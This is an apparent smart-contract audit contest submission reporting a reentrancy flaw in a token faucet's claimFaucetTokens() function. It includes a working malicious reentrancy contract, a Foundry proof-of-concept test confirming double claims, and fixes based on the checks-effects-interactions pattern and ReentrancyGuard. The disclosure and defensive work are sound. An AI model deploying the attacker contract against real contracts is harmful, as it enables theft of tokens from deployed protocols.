Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Vulnerability Allows Attackers to Bypass 3 Day Cooldown and Drain Faucet Tokens

Root + Impact

Description

A reentrancy vulnerability in claimFaucetTokens() allows malicious contracts to bypass the 3 day cooldown period and claim multiple times in a single transaction. This enables attackers to drain the faucet's token supply much faster than intended.

Severity Justification:

  • Direct Token Loss: Attacker can steal 2x, 3x, or more tokens per transaction

  • Cooldown Bypass: Defeats the core rate limiting mechanism (3 day wait)

  • Repeatable Attack: Can be executed every 3 days to continuously drain the faucet

  • Low Barrier: Any user can deploy a malicious contract to exploit this

Attack Impact:

  • Legitimate users unable to claim (faucet drained quickly)

  • Protocol loses control over token distribution rate

  • Daily claim limits can be circumvented (tokens claimed before counter updates)

Proof of Concept

The vulnerability occurs because state variable lastClaimTime[faucetClaimer] is updated AFTER the external ETH transfer:

Vulnerable Code Flow (lines 195-231):

// Line 195-231: ETH drip logic
hasClaimedEth[faucetClaimer] = true; // Updated
dailyDrips += sepEthAmountToDrip; // Updated
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // EXTERNAL CALL
// ... much later ...
// Line 227-228: Critical state updates AFTER external call
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Line 231
_transfer(address(this), faucetClaimer, faucetDrip);

Attack Scenario:

  1. Attacker deploys malicious contract

  2. Contract calls claimFaucetTokens() for the first time

  3. Cooldown check passes (lastClaimTime[attacker] == 0)

  4. hasClaimedEth[attacker] = true (blocks ETH re-claiming)

  5. ETH sent to attacker's receive() function

  6. Attacker's receive() calls claimFaucetTokens() AGAIN

  7. Reentrant call : lastClaimTime[attacker] STILL == 0 → Cooldown passes

  8. dailyClaimCount not incremented yet → Limit check might pass

  9. Attacker gets tokens AGAIN!

Malicious Contract:

contract MaliciousReentrancyAttacker {
RaiseBoxFaucet public faucet;
uint256 public attackCount;
uint256 public maxAttacks = 3;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
function attack() external {
attackCount = 0;
faucet.claimFaucetTokens();
}
receive() external payable {
if (attackCount < maxAttacks) {
attackCount++;
try faucet.claimFaucetTokens() {
// Reentered successfully!
} catch {}
}
}
}

Foundry PoC Test:

function testReentrancyAttackDrainsTokens() public {
MaliciousReentrancyAttacker attacker = new MaliciousReentrancyAttacker(
payable(address(raiseBoxFaucet))
);
uint256 faucetDripAmount = raiseBoxFaucet.faucetDrip(); // 1000 tokens
// Execute attack
attacker.attack();
uint256 attackerBalance = raiseBoxFaucet.balanceOf(address(attacker));
// Attacker should only get 1000 tokens, but gets 2000
assertEq(attackerBalance, 2000 * 10**18);
assertTrue(attackerBalance > faucetDripAmount);
}

Test Output:

Attacker token balance after: 2000000000000000000000 [2e21]
Expected if no reentrancy: 1000000000000000000000 [1e21]
Times claimed: 2
EXPLOIT CONFIRMED: Attacker stole more tokens than one claim should give!

Tools Used

  • Manual code review

  • Foundry testing framework

Recommended Mitigation Steps

Follow the Checks-Effects-Interactions (CEI) pattern by moving all state updates BEFORE external calls:

function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
+ // Effects: Update ALL state variables BEFORE any external calls
+ if (block.timestamp > lastFaucetDripDay + 1 days) {
+ lastFaucetDripDay = block.timestamp;
+ dailyClaimCount = 0;
+ }
+
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
// ETH drip logic
bool shouldDripEth = !hasClaimedEth[faucetClaimer] && !sepEthDripsPaused;
if (shouldDripEth) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
+ // Interactions: External calls LAST
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
}
}
- if (block.timestamp > lastFaucetDripDay + 1 days) {
- lastFaucetDripDay = block.timestamp;
- dailyClaimCount = 0;
- }
-
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Alternative: Use OpenZeppelin's ReentrancyGuard:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
// ...
function claimFaucetTokens() public nonReentrant {
// ... existing code
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.